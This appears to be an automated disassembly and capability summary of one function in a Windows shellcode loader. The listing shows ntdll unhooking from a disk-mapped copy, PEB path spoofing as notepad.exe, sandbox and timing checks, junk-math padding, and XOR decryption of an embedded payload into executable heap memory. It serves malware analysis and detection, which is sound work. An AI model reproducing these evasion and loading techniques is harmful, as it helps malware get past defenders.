Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8d8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x840], xmm6
mov dword [rbp + 0x880], ecx
mov qword [rbp + 0x888], rdx
call fcn.140002bd0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
mov ecx, 0x4de0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d0], rax
mov ecx, 0x4de0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov ecx, 0x4de0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x83c], 0
jmp 0x1400015c0
mov dword [rbp + 0x838], 0
jmp 0x1400015ac
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x83c]
cdqe
imul rcx, rax, 0x164
mov rax, qword [rbp + 0x7d0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x838]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x83c]
cdqe
imul rcx, rax, 0x164
mov rax, qword [rbp + 0x7c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x838]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x58
jle 0x140001501
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x37
jle 0x1400014f2
mov dword [rbp + 0x83c], 0
jmp 0x140001679
mov dword [rbp + 0x838], 0
jmp 0x140001665
mov eax, dword [rbp + 0x83c]
cdqe
imul rdx, rax, 0x164
mov rax, qword [rbp + 0x7d0]
add rdx, rax
mov eax, dword [rbp + 0x838]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x83c]
cdqe
imul rdx, rax, 0x164
mov rax, qword [rbp + 0x7c8]
add rdx, rax
mov eax, dword [rbp + 0x838]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x83c]
cdqe
imul rdx, rax, 0x164
mov rax, qword [rbp + 0x7c0]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x838]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x58
jle 0x1400015e8
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x37
jle 0x1400015dc
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x830], rax
mov dword [rbp + 0x82c], 0
mov dword [rbp + 0x828], 0
mov ecx, 0x30c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x824], 0
jmp 0x14000179c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x824]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x82c], eax
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0xc2
jle 0x14000172e
mov dword [rbp + 0x824], 0
jmp 0x140001824
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x828]
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x628]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006630]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ed0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x828], eax
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0xc2
jle 0x1400017b4
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x828]
movss xmm1, dword [0x140006638]
divss xmm0, xmm1
movss dword [rbp + 0x7ac], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x7ac]
movq rax, xmm3
movq xmm0, rax
call fcn.140003bc0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7a8], xmm0
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x830], 0
jne 0x1400018c0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x830], rax
cmp qword [rbp + 0x830], 0
je 0x140001d0d
mov ecx, 0x1568
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
mov dword [rbp + 0x820], 0
jmp 0x140001939
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006640]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
movsd xmm1, qword [0x140006648]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x2ac
jle 0x1400018eb
mov dword [rbp + 0x820], 0
jmp 0x1400019a0
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
movq xmm1, qword [0x140006650]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x2ac
jle 0x140001951
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x610]
mov rax, qword [rbp + 0x7b8]
mov r10, qword [rbp + 0x830]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x798], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x798]
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x798]
add rax, rdx
mov qword [rbp + 0x770], rax
mov word [rbp + 0x81e], 0
jmp 0x140001cf5
mov rax, qword [rbp + 0x770]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x770]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x81e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001ce4
mov dword [rbp + 0x5d8], 0
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x798]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x780]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x798]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov ecx, 0xb58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x760], rax
mov dword [rbp + 0x818], 0
jmp 0x140001c29
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006640]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x760]
add rax, rdx
movsd xmm1, qword [0x140006648]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x16a
jle 0x140001bdb
mov dword [rbp + 0x818], 0
jmp 0x140001c93
mov eax, dword [rbp + 0x818]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x760]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x818]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x760]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x16a
jle 0x140001c41
mov edx, dword [rbp + 0x5d8]
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x798]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x81e]
add eax, 1
mov word [rbp + 0x81e], ax
mov rax, qword [rbp + 0x770]
movzx eax, word [rax + 6]
cmp word [rbp + 0x81e], ax
jb 0x140001ad8
mov dword [rbp + 0x814], 0
mov dword [rbp + 0x810], 0
mov ecx, 0x984
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
mov dword [rbp + 0x80c], 0
jmp 0x140001dac
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x80c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x758]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x758]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x814], eax
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x260
jle 0x140001d3e
mov dword [rbp + 0x80c], 0
jmp 0x140001e34
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x810]
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x758]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x62c]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm0
movq rax, xmm4
movsd xmm0, qword [0x140006630]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ed0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x810], eax
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x260
jle 0x140001dc4
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x810]
movss xmm1, dword [0x140006660]
divss xmm0, xmm1
movss dword [rbp + 0x754], xmm0
pxor xmm5, xmm5
cvtss2sd xmm5, dword [rbp + 0x754]
movq rax, xmm5
movq xmm0, rax
call fcn.140003bc0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x750], xmm0
mov rax, qword [rbp + 0x758]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x808], 0xffffffff
add dword [rbp + 0x808], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x9c
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006640]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003d00
movq rax, xmm0
mov qword [rbp + 0x748], rax
cmp dword [rbp + 0x808], 0x1d3
jle 0x140001ea0
mov dword [rbp + 0x5dc], 0
mov rax, qword [rbp + 0x7e0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x5dc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x740]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5e8]
add rax, 0x3c
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x738]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x1688
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x804], 0
jmp 0x140001fef
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006640]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x730]
add rax, rdx
movsd xmm1, qword [0x140006648]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x2d0
jle 0x140001fa1
mov dword [rbp + 0x804], 0
jmp 0x140002059
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x730]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x804]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x730]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x2d0
jle 0x140002007
mov qword [rbp + 0x728], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x26eb680
mov ecx, 0
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
je 0x140002b04
mov rax, qword [rbp + 0x728]
mov edx, 0x26eb680
mov rcx, rax
call fcn.140004bb0
mov rax, qword [rbp + 0x728]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov ecx, 0
call rax
mov dword [rbp + 0x714], eax
cmp dword [rbp + 0x714], 0xffffffff
je 0x140002b04
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
jne 0x140002b04
mov ecx, 0x56b
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x56b
jne 0x140002b04
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x704], 0x22b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f4], eax
mov eax, dword [rbp + 0x704]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f0], eax
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x6f4]
cmp eax, 0x1f9
jbe 0x140002b04
mov qword [rbp + 0x6e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x29f6280
mov ecx, 0
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x140002b04
mov rax, qword [rbp + 0x6e8]
mov edx, 0x29f6280
mov rcx, rax
call fcn.140004bb0
mov rax, qword [rbp + 0x6e8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x6dc], 0x2ac
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6cc], eax
mov eax, dword [rbp + 0x6dc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6c8], eax
mov eax, dword [rbp + 0x6c8]
sub eax, dword [rbp + 0x6cc]
cmp eax, 0x27a
jbe 0x140002b04
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x1400023be
mov rax, qword [rbp + 0x6c0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov ecx, 0
call rax
mov dword [rbp + 0x800], eax
cmp dword [rbp + 0x800], 0xffffffff
je 0x140002b04
mov dword [rbp + 0x6b4], 0x2d2
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x69c], eax
mov eax, dword [rbp + 0x6b4]
mov r8, qword [rbp + 0x6a8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x698], eax
mov eax, dword [rbp + 0x698]
sub eax, dword [rbp + 0x69c]
cmp eax, 0x2a0
jbe 0x140002b04
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
je 0x140002b04
mov rax, qword [rbp + 0x690]
mov edx, 0x637
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x68c], eax
lea rax, [rbp + 0xc0]
lea rdx, [0x140006118]
mov ecx, 0xa2
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov rax, qword [rbp + 0x7d8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x680]
mov r8d, 0
mov edx, 0x513
mov ecx, 0x40000
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
mov r9, qword [rbp + 0x678]
mov r8d, 0x513
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x668]
mov r9, qword [rbp + 0x660]
mov r8d, 0x513
mov rcx, rax
call r9
mov dword [rbp + 0x7fc], 0x30c
jmp 0x1400025d6
sub dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0
jg 0x1400025cf
mov dword [rbp + 0x7f4], 0
mov dword [rbp + 0x7f0], 0
movabs rax, 0xc4fb34387ce2c2de
movabs rdx, 0x498de4001efd4caf
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xd5689675e281e6e0
movabs rdx, 0x5daa05669bae4bca
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xd1c4bb7a2d59e064
movabs rdx, 0xb361d3d2e34ca190
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x52821e911c01fce8
movabs rdx, 0xb9ce327c1643cb4d
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x4ad724b9ce327c16
movabs rdx, 0xf5f006184d1077
mov qword [rbp + 0x4b], rax
mov qword [rbp + 0x53], rdx
movabs rax, 0xd02a3770f9b4d842
movabs rdx, 0xad86405308b2be17
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x41c5ba43767b7c86
movabs rdx, 0x618b255f4a66a39b
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x15713db047598298
movabs rdx, 0xc3509f4a2bbf8d01
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x935c7119a5af240a
movabs rdx, 0x9ecc5519e3beed1f
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x1549a438735201bb
movabs rdx, 0x82cdc49841222e26
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x85b5ffdc837a82
mov qword [rbp + 0xaf], rax
mov dword [rbp + 0x7f8], 0
jmp 0x140002881
mov ecx, 0xd00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov dword [rbp + 0x7ec], 0
jmp 0x140002798
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x630]
add rax, rdx
movsd xmm1, qword [0x140006640]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x19f
jle 0x14000275a
mov dword [rbp + 0x7ec], 0
jmp 0x140002802
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x630]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7ec]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x630]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x19f
jle 0x1400027b0
cmp dword [rbp + 0x7f4], 0x55
jne 0x14000284b
mov eax, dword [rbp + 0x7f8]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7f4]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x7f8]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x7f4], 0
jmp 0x14000287a
mov eax, dword [rbp + 0x7f8]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7f4]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x7f8]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x7f4], 1
add dword [rbp + 0x7f8], 1
mov eax, dword [rbp + 0x7f8]
cmp eax, 0x49
jbe 0x14000273d
mov dword [rbp + 0x7f8], 0
jmp 0x140002a6b
cmp dword [rbp + 0x7f0], 0x49
jne 0x1400028f5
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x668]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7f0]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x668]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7f0], 0
jmp 0x140002a64
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x668]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7f0]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x668]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x644], 0
mov ecx, 0x8ac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x7e8], 0
jmp 0x140002a3e
call sub.msvcrt.dll_rand
